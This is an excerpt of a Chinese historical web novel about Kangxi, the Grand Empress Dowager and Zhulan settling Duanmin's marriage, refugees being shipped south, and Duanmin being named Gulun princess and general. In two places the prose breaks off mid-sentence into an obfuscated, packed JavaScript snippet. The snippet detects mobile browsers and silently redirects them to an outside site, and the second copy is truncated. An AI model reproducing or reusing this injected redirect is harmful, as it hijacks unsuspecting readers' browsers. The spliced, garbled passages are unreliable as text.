他将珠兰的信与佟国纲的信并排放着,佟国纲笔下的端敏,是能凭战功震慑草原的将才,是“若为男子可封侯”的栋梁;而太皇太后的考量里,端敏更像一枚需要谨慎安放的棋子,怕她伤及雅图,怕她打破科尔沁的脆弱平衡。 “从雅图的利益出发……”康熙低声重复,眉头渐渐蹙起。 他不是不心疼雅图姑姑,只是皇祖母的考量,未免太偏于“科尔沁的家事”了。 雅图是他的姑母,可她首先是爱新觉罗的女儿,科尔沁的纷争再复杂,终究要服务于朝廷对草原的制衡,而非让朝廷为科尔沁的支系利益让路。 更让他在意的是珠兰信里那句“太皇太后似恐端敏锋芒过露,扰了草原旧例”。 草原旧例? 76. 冬日攻略 皇祖母是爱新觉罗的太皇太后,是辅佐过两朝幼帝的国母,何时竟要迁就“草原旧例”了? 她该是站在爱新觉罗的角度,用朝廷的规矩去框定草原,而非反过来,用草原的格局来约束皇家的格格。 康熙望着窗外沉沉的夜色,心里那点因珠兰的信而起的清明,渐渐被一丝隐忧取代。他只觉得,自己在夜间的视力似乎下降了些,怎么就看不清前方了。 皇祖母久在草原,或许是被那边的姻亲、支系缠得深了,竟不知不觉站在了“科尔沁博尔济吉特氏”的立场上考量问题。 他拿起珠兰的信,揉了揉酸涩的眼睛,又看了一遍。 她不表态,却把最关键的矛盾摆在他面前:一边是太皇太后出于私情的顾虑,一边是端敏这颗足以影响草原格局的“将才”。 而他这个皇帝,既要顾全孝道,更要守住朝廷的根本——爱新觉罗的天下,容不得任何一个势力,哪怕是皇祖母的母家,动摇其根基。 “端敏的婚事……”康熙指尖在御案上轻叩。 一夜过去,康熙再一次不曾入睡。 临近天明,烛火又燃尽了一截灯芯,康熙将两封信都归入密档,心里已有了决断。 太皇太后的顾虑他会顾及,但朝廷的利益,端敏的天赋,断不能为私情所缚。 至于皇祖母那里,他得想个法子让她明白——她是爱新觉罗的掌舵人之一,而非科尔沁支系纷争里的调停者。 草原的风雪再大,她的根,终究在爱新觉罗的江山里。 没想到的是,没到半个月,前朝收到了科尔沁左翼后旗亲王薨的消息。 随之而来的,是珠兰自承德寄出的第二封信,仍然描述的是太皇太后的意愿。 仍然是为了雅图考虑,为了科尔沁考量,要推翻之前的谋算。 科尔沁左翼后旗的卓礼克图亲王之位空悬,雅图孤苦无依、六神无主,绝对是撑不起场面,掌控不住商路的,朝廷确需在那边安插个可靠的人。 太皇太后很了解这个孙儿,草原商路之重、获利之多,是康熙不可能放手的。 可端敏不是寻常宗女,她能领兵,能驭下,凭战功就能镇住漠南各部,何必再用婚姻做筹码,这是极大的浪费。 但是,她始终是个女子,总是要嫁人的。 嫁? 或者不嫁? “梁九功。”康熙扬声道,把信往御案上一放,“去把宗人府的玉牒取来。” 承德离宫内,见到皇帝左右横跳的属性值,珠兰晓得到了决断的时刻。 她耗费了五十颗涟漪级能量结晶,将皇帝的【开明】属性点了上去。 随着皇帝年长,珠兰发现要动摇他的属性点所需的能量结晶也在增加,本是一颗涟漪级能量结晶便可增长一点,现在需要两颗。 珠兰皱了皱眉,有些出神。 梁九功捧着厚厚的玉牒进来,见皇上正对着舆图上的漠南草原出神。 玉牒摊开,端敏的名字在一众宗女里并不起眼,可康熙看着那两个字,眼前却晃过佟国纲笔下的景象:银甲染血的少女勒马立在雪原上,身后是溃败的敌军,身前是臣服的部众。 “这样的人才……”他指尖点在端敏的名字上,忽然笑了,带着点自嘲,“朕先前竟还想着,用一场婚事困住她?” 他是帝王,要做圣君,什么祖宗家法也休想困住他。 佟国纲说得对,端敏的本事,不该只困在蒙古的帐篷里。 此时此刻,康熙想到了自己的妻子珠兰。世上并非所有男子都有朕这般心胸,能给妻子施展才华的余地。珠兰爱朕,朕也爱她。 珠兰看着皇帝对自己的亲密值在上涨,她揉了揉眼睛,我没点错属性啊。 皇帝脑中风暴螺旋上升,他认为端敏能在草原上打出一片天,便是天命如此,天为他送来了将才,他如何能因她是女子而背离天意。 将来,女子未必不能在朝堂或军中彻底立住脚。 待珠兰回来,朕断不会将她困于内务府一隅之地。 这就是天意,皇帝心中豁然开朗,朕背负着天命,岂能以庸碌之思困之。 提拔新一辈的宗室替代腐朽的老一辈,本就是康熙正在做的事。 既然端敏冒出了头,人又忠心可靠,皇帝敢用她! “把这信存进密档。”康熙合上玉牒,语气里有了决断,“告太皇太后,端敏的婚事,再议。” 窗外的风还在刮,可他心里那点犹豫却散了。 草原需要朝廷的眼线,朝廷更需要能独当一面的将才。 端敏的价值,远不止于“大清格格”这重身份。 她与珠兰,都是上天赐下的瑰宝。 至于科尔沁的事……一个能追着准噶尔打穿草原的女子,若真不愿嫁,谁又能逼得动她?有她本人在草原上,就够了。 康熙望着御案上的南征舆图,他该给端敏另一条路——一条不必靠婚姻,单凭本事就能走得通的路。 此时此刻,开明的天子认可女子的作为,无论是皇祖母、珠兰还是端敏,又或者在南洋给朕赚钱的那个潘氏。 这大清的江山,不是只靠男子撑起来的。 天命如此,朕作为天子,自当遵从。 很好,逻辑自洽了。 昆明城的城门被铁骑踏得咚咚响,建宁公主一身素色骑装,怀里抱着吴应熊的幼子,身后跟着两千骑兵,铁甲在云贵的暖阳下闪着冷光。 平西王府的人在门内看得直哆嗦——谁也没想到,这位被圈在京里的公主竟能带着兵马杀来,那校场就在王府隔壁,马蹄声、操练声日夜不息,像悬在头顶的一把刀。 “公主这是……也要反了?”王府新长史缩着脖子,看着正厅里脸色铁青的吴三桂旧部,“咱们要不要……”原来的长史也随着王爷倒在了莫名其妙的宴饮里,他是新上来的。 “要什么要?”为首的新副将猛地拍桌子,“没瞧见校场里的火器营?那是京营的制式!她敢带着兵来,背后指不定有谁的意思!”因为原有的高层被一起放到,他们都没有什么斗争经验,就被夫人硬提拔了上来。 可是平西王夫人的幼子也还年少,显然撑不起王府。 谁也不敢动,建宁公主就这么堂而皇之地住进了王府大院,每日抱着孩子在府里散步,偶尔登楼看看校场的操练,一句话不说,却比千军万马还让人忌惮。 而昆明城里,寿春和富春穿着一身市井装束,在茶馆酒肆里穿梭。 “听说了吗,平西王府的粮仓昨晚丢了二十车米,说是被流民抢了。”寿春往茶碗里撒了把瓜子,声音不大不小,刚好让邻桌的人听见。 “流民?我怎么听说,是王府自己人监守自盗,想栽赃给城外的乱兵?”富春接话,眼睛瞟向角落里一个喝茶的汉子——那是吴三桂夫人的心腹管家。 谣言像长了翅膀,三天就传遍了昆明。 有人说王府藏了金银准备跑路,有人说吴三桂早就死了,现在的是替身,还有人说朝廷的大军已经过了贵州…… 本就因战事惶惶不安的人心,被搅得更乱,连王府的下人都开始偷偷收拾细软。 吴三桂的死讯被瞒的严严实实,可实际上他总不出面,是一定会露馅的。 毕竟整个上层莫名其妙大换血,那位夫人还能维持平西王治下的面上稳定,已经是非常困难了。 没人知道,这些谣言都是给程岫的“运人大计”打掩护。 北边来的大船悄无声息地泊在码头,船工都是从翻云会调的老手,夜里借着月色,将一批批渴望离开的百姓接上船。 翻云会就在这样的秘密运送中不断壮大,从广东到福建,从云南到广西,有出海口的地方,就有拖家带口的迁徙大军。 因为对会里对基层渗透的太厉害,导致黑白两道都当这些穷苦的迁徙百姓为空气,让他们顺利到了各处码头,上了大船南下。 这些人多是惧怕战火的农户、工匠,他们背着简单的行囊,普遍是拖家带口的同村之人,在船工的指引下钻进船舱。 有活命的机会,他们愿意背井离乡。而且翻云会一路上保证了他们的安全,没有让他们饿死,甚至给了药材,这就够了,他们别无所求。 “往南去,那边有地种,没兵灾。”程岫站在船头,望着黑沉沉的水面,低声对身边的人说,或者在对自己说。 有些时候,他迷茫的时候,就喜欢自言自语。 南边的暹罗、安南,有的是未开垦的沃土,朝廷管不到,三藩的兵也打不到,只有葛大人的家人利用下南洋的机会,提前布局了数个庄园,正好安置这些流民。 至于这些好地方原本的居民去了哪里,程岫不关心,相信葛大人也不会在意。 他是混上京城,有大事要办的。结果,一步一步从京中南下,越发往南了。 本来,他随着治河衙门走,预备立功回京,能做官的。半路上,被寿春硬着要了出来。他本来不愿意的,可是被委以重任了,自此肩头挑起了几万人的性命,他个人的抱负已经变得极为渺小。 葛大人,到底是个什么人,程岫觉得自己完全看不明白。这世上,怎么会有真心关注草民的大人呢?远在京师的大人,怎么会操心三藩治下贱民的生死呢?他们不是随随便便就可以用一桩文字狱杀上万人吗? 莫非,杨期先生的选择才是对的? 朝廷之中,还有好官······ 船舷两侧,火把忽明忽暗,映着百姓们既惶恐又期待的脸。他们不知道是谁在帮自己,只知道跟着这艘葛大人家的船,能躲开即将到来的厮杀。 百姓是很灵敏的,只是过去他们没办法逃走,就只能被动等死。现在有人愿意带着他们跑,他们中只要能动的就全跟着跑了。 平西王府里,建宁公主推开窗,听见码头方向隐约传来的船笛声,嘴角勾起一抹冷笑。 她带兵马来,不是为了争什么王府,是为了稳住吴三桂夫人,稳住云南的局势不要迅速糜烂。 吴应熊离死不远了,痛苦也要结束了。 她恨吴三桂,更恨这乱世——能多送一个人离开,就多积一分德。 夜色渐深,大船解缆起航,划破滇池的水面,往南而去。 昆明城里的风言风语还在继续,平西王府的人忙着查内鬼、堵谣言,没人注意到,那些最该被征兵、被搜刮的百姓,正借着弥漫云南的混乱,悄悄逃离一座座即将沦为战场的孤城。 建宁公主抱着孩子,站在月下。 两千骑兵在校场里的剪影,像道屏障,隔开了王府的慌乱与码头的生机。 自由的风吹过,儿子温热的身体是那么真实,她知道,自己这步险棋,走对了。 做公主又如何,一个心爱之人都护不住的滋味儿,难道好受? 江苏的一处秘密码头上,水汽混着桐油味漫在半空。 两艘明轮船刚滑入水中,巨大的叶轮搅动着浑浊的河水,溅起丈高的水花。 监工的老匠头眯着眼瞧了瞧,咂嘴道:“这船身,比葡萄牙人的大帆船还高半截,真能跑得动?” 旁边的管事笑了,手里的算盘打得噼啪响:“要的就是这股子气派,管它跑多快,先造出来再说——天津那边的盖轮船,听说都装了三层舱呢。” 南北造船厂也是有比较之心的,下水的大船是越来越多。 没人敢问这些船要去做什么,造船厂挂着“葛记”的牌子,明眼人都知道是赫舍里家的产业。 葛大人的家私比内务府还厚实,赫舍里氏在朝中的势力盘根错节,别说地方官,就是巡盐御史来了,也得客客气气的。 有小吏曾想过问,才提一嘴,就被怕遭到连累的上司按住了:“你活腻了?赫舍里家的船,轮得到咱们置喙?是运丝绸还是运瓷器,自有上面盯着,你睁只眼闭只眼,保你前程无忧。” 于是,天津的明轮船往南运,江苏的盖轮船往北调,接力似的下水,码头上人来人往,竟没人细究这些船的去向。 有的船装着瓷器茶叶,明摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191701|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着是去南洋做买卖;有的船却蒙着油布,夜里悄无声息地装人,舱底铺着干草,一看就是要走远路的。 江苏造船厂的工棚里,匠人们正给一艘盖轮船刷最后一遍漆。 船身两侧的炮窗用黑布遮着,管事路过时低声嘱咐:“把‘葛记’的徽记再描重点,别让人看出破绽。” 没人知道,这些船一半走了商船的路子,一半却在执行大姐儿的密令。 从北方逃来的百姓、被战火逼得背井离乡的农户,源源不断地被送上船,往更南的地方去——那里有没被兵灾啃过的沃土,有能安稳种庄稼的村落。 随船的大夫早早配置了预防瘴气的药丸子,免费给分,反正大姐儿手下的掌柜们给足了经费,一切以保命为要。 “听说了吗?海那边新开辟了好几个屯子,全是这些船送过去的人。”一个老船工蹲在船头抽烟,跟同伴闲聊,“官府睁一只眼闭一只眼,赫舍里家的船,谁敢拦?” 同伴往水里吐了口唾沫:“管他呢,咱们拿工钱造船,家人都吃着大姐儿给的饭,他们坐船逃命,也是吃大姐儿给的饭。这乱世,能活着就不赖了。” 夕阳把水面染成金红色,又一艘大船鸣着汽笛离岸,烟囱里冒出的黑烟在天上拖出长长的尾巴。 码头上的人望着船影消失在天际,没人知道这船究竟要载着多少人,去往多少个没听过名字的南方村落。 他们只知道,葛大人家的船,一直在造,一直在走,像一条看不见的脉络,把那些在战火里挣扎的人,悄悄送往能活命的地方。 而这一切,都藏在“赫舍里家产业”的名头下,被官府的“睁一只眼闭一只眼”护得严严实实——毕竟,谁也不想去招惹那个比内务府还惹不起的家族。 承德离宫的暖阁里,太皇太后将康熙的信拍在紫檀木案上,锦缎帕子攥得变了形。 “再议?他说再议?”老太太的声音带着盛怒,银质的佛珠在腕间滑动,发出急促的碰撞声,“班第是我弟弟满珠习礼的孙子,博尔济吉特氏的骨血,难道配不上宗女?还是说,爱新觉罗的女儿金贵到连科尔沁都容不下了?” 珠兰垂着眼立在案前,肩上的石青缎披风还带着外头的寒气,却纹丝不动。 太皇太后的怒火像泼在雪地的热水,看着汹涌,她却知道底下藏着的是对科尔沁亲缘的执念——雅图成了寡妇,老太太是想借着端敏的婚事,把班第也拉进爱新觉罗的圈子,好帮雅图握紧商路。 “老祖宗息怒。”珠兰声音平稳,听不出半点波澜,“皇上许是觉得,端敏刚立了战功,婚事该郑重些。” “郑重?”太皇太后冷笑一声,指着窗外的白幡,“雅图在科尔沁孤苦伶仃,她丈夫的侄子眼看就要袭爵,端敏嫁过去,既是给雅图做靠山,也是给朝廷拴住科尔沁,这有什么不郑重的?他就是翅膀硬了,觉得我这老婆子的话不中听了!” 珠兰没再接话,只是垂手听着。 太皇太后的火气来得快,骂到后来,声音渐渐低了,只剩下一声接一声的叹气,说的无非是当年吴克善如何帮着大清打天下,博尔济吉特氏如何与爱新觉罗休戚与共。 珠兰安静地听着,偶尔替老太太续上一杯热茶,像个最耐心的听众。连续两次生病,不仅让太皇太后的身体出了问题,也让她的情绪波动大了起来。 太皇太后和皇帝的健康指数,都在系统面板上,稳步下降。 傍晚时太后过来,见珠兰正就着小菜喝小米粥,青瓷碗里的粥见了底,嘴角还沾着点咸菜渣,不由得吃了一惊。 “你这孩子……”太后拉着她的手,指尖触到她腕间的暖意,松了口气又添了担忧,“母后发那么大的火,你倒还吃得下?莫不是硬撑着?” 珠兰放下碗,用帕子擦了擦嘴,笑了笑:“硬撑着也得吃饭啊。太后瞧,这酱菜是京中送来的,配粥正好。” 她起身给太后盛了碗粥,“老祖宗是气皇上,过几日消了气就好了。我若自己先垮了,岂非不孝?” 太后看着她眼里的清明,不像是强撑,可又实在想不通她怎能如此平静,只能叹着气嘱咐:“你心里有数就好,别真憋出病来。” 历来皇后不好做,尤其是夹在皇上与太皇太后中间的女人,她不由自主的想起了当年的董鄂氏。 珠兰笑着应了,送太后出门时,眼角瞥见廊下的春苒正往偏院走——今晚的密信里,又会添上“皇后强撑镇定”的一笔。 也好,让皇上多疼惜几分、多头疼几分,总比让他觉得自己万事顺遂要好。 乾清宫里,康熙展开春苒的信时,指尖还带着翻战报的油墨味。 信里把太皇太后的怒骂、珠兰的应对、太后的担忧写得历历在目,尤其那句“皇后娘娘傍晚只用了碗粥,似是故作轻松”,看得他心口一紧。 他低声说了句什么,没多少火气,更多的是无奈。 皇祖母的固执他懂,珠兰夹在中间受气,他怎能不心疼? 拿起那份北方战报,准噶尔西窜的消息已被粘杆处证实,漠南暂时安定,端敏的战功也彻底坐稳了——这样的人才,朕的阿姊,凭什么要困在科尔沁一隅之地? 当初南洋之事,端敏的兄长称病不敢投银子,险些坏了朕的大事。是端敏一介女子毅然取出嫁妆银子,全了宗室与皇家体面。 她忠于朕,朕当然信她! “梁九功。”康熙扬声道,“给皇后送些江南的新茶和蜜饯,就说京里一切安好,让她不必挂心。另外赐格格一份南洋沉香、一份降真香,她会明白的。” 窗外的月光透过窗棂,落在御案上的战报和密信上。 康熙望着那“北方安定”四个字,皇祖母的执念该慢慢松松了。 爱新觉罗的天下,既需要科尔沁的助力,更需要端敏这样的锋芒——他这个皇帝,该护住这些锋芒,也护好那个替他承受怒火的女子。 承德的风还在吹,乾清宫的烛火却亮得安稳。 有些事,终究要由他来定,哪怕要拂逆皇祖母的意。 77. 固伦公主 承德离宫的琉璃瓦上积了层薄雪,北风卷着雪沫子打在朱红宫墙上,发出呜呜的声响。 太皇太后的暖阁里,炭火烧得再旺,也驱不散她眉宇间的沉郁——她终究还是没能犟过皇上,如今人都要从漠西回来了,端敏的婚事仍旧没了下文。 “端敏格格的马队过了喀喇沁了。”苏麻喇姑轻声回禀,见太皇太后没说话,又补充道,“漠南的王公们一路跟着,说是要亲自送格格到承德,还有牧民自发牵了牛羊,在道旁跪迎呢。” 太皇太后捏着佛珠的手顿了顿,捏了捏眉心。 她听过端敏的战绩,也知道那些牧民为何敬她——是这个丫头把准噶尔赶出了草原,是她分战利品时连最底层的旗奴都没亏待,是她带着两千人追得准噶尔一万人马屁滚尿流。 可越是这样,她心里越不是滋味——这丫头的锋芒,本该用在科尔沁的帐篷里,护着雅图,而非在草原上树起自己的旗号。 半个月后,承德城外的大道上烟尘滚滚。 端敏一身银甲未卸,甲叶上还沾着漠西的沙尘,骑在雪青马上,身后是整肃的大军,佟国纲跟在侧后方,看着她的眼神里满是赞许。 道旁跪满了漠南的牧民,有王公捧着哈达,有百夫长举着刚宰杀的羔羊,见她过来,齐声高呼“格格千岁”,声浪震得雪沫子从枝头簌簌落下。 端敏勒住马,翻身下马,接过最年长的牧民递来的酒碗,仰头饮尽,银甲在阳光下闪得人睁不开眼。 阿日娜苏在角楼上看着,心中不知不觉就安定下来。 她没说什么豪言壮语,只挥了挥手,示意大军进城,可那身影往那一站,就比千言万语更有分量。 进了离宫,圣旨已在殿内等着。 宣旨的太监尖着嗓子念出“靖宁草原,永镇北疆,沟通商路······封固伦靖宁公主”时,殿内一片寂静。 太皇太后坐在上首,指尖掐着佛珠——固伦公主,那是皇后嫡女才能得的封号,亲王之女最多封和硕格格,皇上这是明摆着要破规矩,用爵位压下所有想打端敏主意的人,尤其是科尔沁的班第。 端敏叩首接旨,她抬起头时,眼里没有受宠若惊,只有一种了然的平静——她懂皇上的意思,也懂这“靖宁”二字背后的分量:从今往后,她不再是需要依附婚姻的宗女,而是凭战功站在草原与朝廷之间的公主。 以军功封的公主,而非因出身所得,封号还是意有所指,甚至皇帝把她的俸禄和待遇都与亲王等同了。 珠兰站在侧旁,看着端敏起身时银甲反射的光,嘴角悄悄勾起。 皇上的册封,是彻底断了科尔沁联姻的念想。 端敏这个人本身能带来的价值,已经大大超出了她的婚姻带来的利益,所以她开始能掌控自己的命运了。 贾敏若有所思的同时,也接到了册封,作为外姓国公之女,因实打实的军功,获封了宗室女才能得的固山格格。 这个固伦靖宁公主,可不是京里的摆设,是实打实有自己班底的爵位,皇帝甚至在承德立下了她的公主府,在圣旨中提到了永镇二字。 作为公主伴读,贾敏这个实际上的军师,自然也要留在承德。 能掌控自己命运的,还有我啊。贾敏微笑,看向前方的端敏公主,仿佛在看冬日的太阳。 不出珠兰所料,以康熙目前的高敏感、高猜忌数据而言,端敏这样养在宫中的宗女,是接触权力最合适的人。毕竟,作为女子,无论她在军中有多大的威势,都难以动摇皇权。 康熙或许对端敏的能力仍有疑惑,但绝不会怀疑她的忠诚。 女性千百年来的弱势,天然让皇帝放心她们接触皇权。 甚至,皇帝会疑心外姓的珠兰,毕竟武则天珠玉在前。但对于自家的端敏,他十分信任。 只是皇帝天然的平衡感,让他本能的喜欢拆分。 这也是草原之上,珠兰近乎隐身于幕后,没有丝毫表现的初衷。 一来是为端敏,这丫头的前程,该由她自己的刀枪挣来,而非嫁妆。 皇帝虽然心思深沉,眼界着实是开阔,用人不拘一格,珠兰从系统面板上注视着康熙的数据,并且不惜耗费能量进行关键节点干涉。 数据显示,这位帝王心中的一切有用之人,都不会被他抛弃的。 他实在是一名合格的上位者,晓得何为人尽其才。 在南方大战在即的当口,他不可能找到比此刻的端敏格格更合适的草原主理人的。 顺便,既然他有心让端敏利用当前的大好形势,就一定不会轻易将这样的宗女嫁给任何一个部落。 等她的公主府立稳,再寻一个看的上眼的小伙子尚主便是了。 太后拉着端敏的手,摩挲着她甲胄上的磨损痕迹,眼圈微红:“回来就好,回来就好。” 她虽不懂朝堂算计,却知道这“固伦”二字,是对端敏最好的护佑。 太皇太后直到宴席散了,才单独叫住端敏。 暖阁里只剩祖孙二人,老太太看着她褪去戎装后露出的青涩脸庞,忽然叹了口气:“皇帝……是不想让你嫁去科尔沁了。” “是。”端敏直言不讳,“孙儿也不想嫁。” “你可知,固伦公主的身份,意味着你往后的婚事,更由不得自己?”太皇太后盯着她,“皇上要你镇住漠南,你的夫婿,必须是能帮你稳住局面的人。” 端敏笑了,眼里闪着少年人的锐光,“皇玛嬷,孙儿不需要夫婿帮着稳住局面。若真有那一天,孙儿自己的刀,就能镇住所有想动歪心思的人。” 太皇太后看着她眼里的光,忽然想起年轻时的自己——那时她也以为,婚姻是筹码,可后来才懂,真正能站稳脚跟的,从来都是自己手里的力量。 端敏小小年纪,能将兵,也无师自通了权力的由来。果然只有爱新觉罗与博尔济吉特的血脉交织,才能有这样耀眼的成果。 深藏身与名的珠兰,当然不会跑来说都是自己教的,看教的不错吧。 太皇太后没再说话,只是挥了挥手让端敏退下。 京城的乾清宫里,康熙收到端敏接旨的奏报,笑着对梁九功说:“给靖宁公主赏些南海的珊瑚、和田的白玉、西洋的蜜蜡,再送二十匹最好的云锦——让她知道,朕没看错人。” 北风从草原吹到京城,吹来了漠南的安定,也吹来了一个打破旧例的封号。 固伦靖宁公主的名字,从承德传遍草原,再传回到京城,像一颗投入湖面的石子,在爱新觉罗与蒙古各部的棋盘上,漾开了新的涟漪——往后的草原,有了一位常驻在承德的公主看护,再不是只有联姻能维系平衡了。 二来,公主镇守北疆,而非王爷封到北疆,也是让蒙古部落可以接受的。 王爷会与他们抢夺草场,抢夺后代延续的空间,但公主不会,他们甚至摩拳擦掌让自家的儿郎好好表现。若是能得固伦公主下降,家中的郡王爵位肯定能升亲王,后代有了这样英武公主的血脉,自当能成为天下巴图鲁。 端敏格格被封为固伦靖宁公主的旨意刚传遍朝野,紧接着的另一道圣旨更让满朝文武瞠目——那支由她一手带出来的两千精锐,正式划归其麾下,成了名副其实的“公主私兵”,佟国纲与冯唐都要暂时受其节制;更令人咋舌的是,她被册封为抚远将军,军中公文往来时,皆以“大将军公主”相称。 这待遇,早已越出了宗女的藩篱。 亲王才有资格统领的旗兵,她有了;将军才有的统兵权,她也有了。 承德的校场上,端敏一身亮银甲,腰悬凤翎刀,亲自操练麾下将士,号令一出,声震四野。 骑兵们喊着“大将军公主千岁”的号子,气势比京营的八旗兵还要盛。 宗人府的糊涂老王爷们私下里摇头,“成何体统?女子掌兵,自古未有。” 康亲王和安亲王却在几次会面后,将女儿的培养列入议题。他们甚至在考校了女儿后,惊讶的发现女儿的体质普遍高于儿子,对于骑射之事更为擅长。 这就是珠兰通过太后之手所传播的那套秘法的厉害之处了,让女子从根基上获得改变。只是大部分人认为此法是养生之用,有些坚持了,有些撂下了。 截止到现在,即便端敏大放光彩,宗室福晋们也多半是认为端敏自身天赋异禀罢了,毕竟她的母亲也是草原来的博尔济吉特,流着悍勇的血脉。 礼部的官员捧着《会典》唉声叹气,说这“抚远将军”的印信,盖在公主名下,简直是“乱了乾坤”。 户部倒是无所谓,反正这两千人的粮草是走内务府的。 索额图与明珠悄悄对视一眼,他们对东瀛的经略在草原如此大胜之后报上来,相形见绌。 任何微词,在皇帝的铁腕面前,都成了过耳风。 乾清宫的朝会上,有御史颤巍巍地奏请:“皇上,固伦公主荣宠已极,若再掌兵权,恐引宗室非议,寒了武将之心。” 宗室:我们何曾非议?若是我们的女儿都能如端敏一般,简直笑死好吧。此时宗室王爷的尚武之风不绝,对家中姑奶奶们的管束也不严,都是捧着哄着,也盼着她们成才的。 武将:我们只是对着送回来的战报研究,公主到底是太祖再生还是太宗转世。我们的心火烫着呢,皇上要是再多赏赐公主些金银珠宝,我们的心会更加火烫的。 康熙放下朱笔,目光扫过阶下:“非议?端敏在草原,以两千人追着准噶尔万人打时,怎么没人说非议?军功明晃晃挂在她身上,卿莫非视而不见否?男子能当将军,爱新觉罗的女子就不能?” 因珠兰之故,让他对女子的能力有了充足的认识。她们中不仅有像皇祖母一般老于世故、精于权谋的,也有珠兰这般肯干会干能担当的,那么多出一个能打胜仗的端敏格格,又算得了什么。 他拿起案上的军报,扬声道:“漠南各部认‘靖宁公主’的旗号,准噶尔闻其名就丧胆。这样的将才,难道因为她是女子,就要蒙尘?朕的朝廷,只论本事,不论男女!” 看着底下嚷嚷祖宗之法的文官们,康熙运气,把脾气压住,只觉得有些头晕目眩。他微微合目,心中暗暗发誓,哼,封什么公主,怎么就只封了公主,显得朕怂了似的! 若端敏再立大功,朕干脆就封她一个王爷,让这帮子老古板都气晕过去算了! 一番话怼得群臣哑口无言,是啊,端敏格格的军功是实打实的,那佟国纲是她从死谷里救出来的,漠南的安定是她一刀一枪拼出来的,漠西早有反心的准噶尔是她亲自带兵赶走的,漠北的部落也是被她震慑到大冬天的来京中朝拜皇帝表达忠诚。 比起那些只会在朝堂上引经据典的大臣,这位皇室的“大将军公主”,实实在在为大清守住了北境安宁。 他们准备一个平三藩,都折腾了多少年了,全靠老天保佑才有进展。 在皇帝心中孰轻孰重,还用说吗? 于是,非议渐渐歇了。 军中文书里,“抚远将军端敏”的署名越来越常见;漠南的驿站里,信使们说起“大将军公主的军令”,比说起任何一位王爷都恭敬。 连宗女们的目光,也悄悄变了——从前只想着嫁个好人家,如今想象着端敏银甲立马的模样,再看自家软脚虾一样的兄弟,瞅瞅能开十力弓的自己,眼里多了些不一样的东西。习练皇后所传秘法的宗女们,有不少生了别样心思。 三来嘛,还有一个事儿是留给皇帝权衡用的。 端敏对外间的议论似是浑然不觉,每日要么在校场练兵,要么在书房看舆图,要么与贾敏一处嬉笑学习,要么去寻三巨头请安,一切与平常并无不同。 珠兰与阿日娜苏一起去看她时,见她正对着漠西的地图出神,案上摆着的兵书里夹着张纸条,写着“兵无常势,水无常形”。勇将,也是在不断吸收经验的。 贾敏见她们进来,便知道下面要谈些事情,便主动要退出去,被珠兰拦下了。 阿日娜苏主动上前,拉住了贾敏的手。 贾敏心中一惊,想到这位宣妃的姓氏和出身,想到太皇太后,想到皇上…… “皇上把这两千人给你,是让你镇住漠南。”珠兰笑着对端敏说,“但是,关键是商路。” 皇帝心中,靖宁草原为虚,永镇北疆是空,商路乃第一。贾敏闻言,不自觉的点点头,比端敏更早领悟皇上的意思。 “再让科尔沁左翼后旗全权操持商路,能把一手好牌全部打烂。”阿日娜苏适时表达了自己的想法,之前是皇帝孝顺老祖母,才能捏着鼻子同意给吴克善的后人天大的好处,可是他们把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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端敏抬起头,眼里闪着光,莫名燃了起来,“只要这两千人在,只要我手里的刀还能挥,娘娘的心愿我就一定能达成。至于商路,皇上的密旨我收着呢,待天气好些,我便往科尔沁去一趟,给雍穆姑姑压压惊。”雍穆,正是雅图公主的封号。 “那我就回娘家去见我阿爸,前旗也还有几分实力可以拿出来。”阿日娜苏点点头,她家里的事儿好办。 作为开府在承德的公主,作为抚远将军,端敏的行事比宣大的总兵都要自由的多。 去科尔沁看望姑姑,帮守寡的姑姑看顾商路事宜,是占理的事情。 她也与太皇太后表达了这个意思,日后商路上的话事人不再是死了的亲王,直接就是雍穆公主雅图。至于雅图公主背后,就是有兵有权的端敏了。 太皇太后张口结舌,窗外的雪还在下,望着殿外的红灯笼,她想,皇上或许是对的。毕竟,这是她从未想过的一条路。 以雅图的性格,确实立不起来。但是有端敏在后面,保她名义上的话事人地位是没问题的。 这比让端敏嫁入科尔沁,再拐着弯干涉雅图这边的事,要直接快捷的多。 太皇太后不由自主的想起过去,乱世里,女子的价值似乎只在嫁妆和夫婿的榜单上。 但是,现在世道变了······ 战争远去,挣银子成了第一要务。经营商路而已,当家的是男是女又有什么关系呢。 过去雅图的丈夫也就那么两下子,让雅图上不见得就干的差了。后面,还有端敏啊。 端敏的锋芒,是扎在草原上的桩,作为宗女,她是自己人,且比任何联姻都能让朝廷安心。 可光是太皇太后满意还不行,必须要让皇帝也挑不出茬子来。 端敏顿了顿,拿起那枚“抚远将军”的银印,在掌心掂了掂:“这印信,不是荣宠,是担子。珠兰姐姐你看,往后宗女们再提起‘出路’,或许就不只是嫁个好人家了。”在亲密度突破90后,她自己就改了称呼,私下里都是称呼对方名字。 窗外的阳光照在她脸上,映得那枚银印亮闪闪的。 皇帝破格封端敏为将军,或许是现下形势所迫,是无奈之选,将来也不准备再开一例。 但珠兰要的,不仅仅是一个能打仗的公主,更是要在这千百年来的规矩里,砸开一道缝——让天下人看看,女子的价值,从来不止于内宅与嫁妆。 这位大将军公主,正用她的刀,她的兵,她的军功,给所有宗女,也给这世道,立了一个全新的榜样。 端敏之事成,算是草原之行成功一半。 另一半么,还要落在皇帝的猜忌心上。 珠兰摸透了康熙的数据,所以她同样清楚皇帝心中对女子的定义。 既要温柔,又要坚毅,又不可淡漠。 既要博学,又要专一,又不可执拗。 既要能干,又要担当,又不可功利。 既要聪慧,又要洒脱,又不可傲慢。 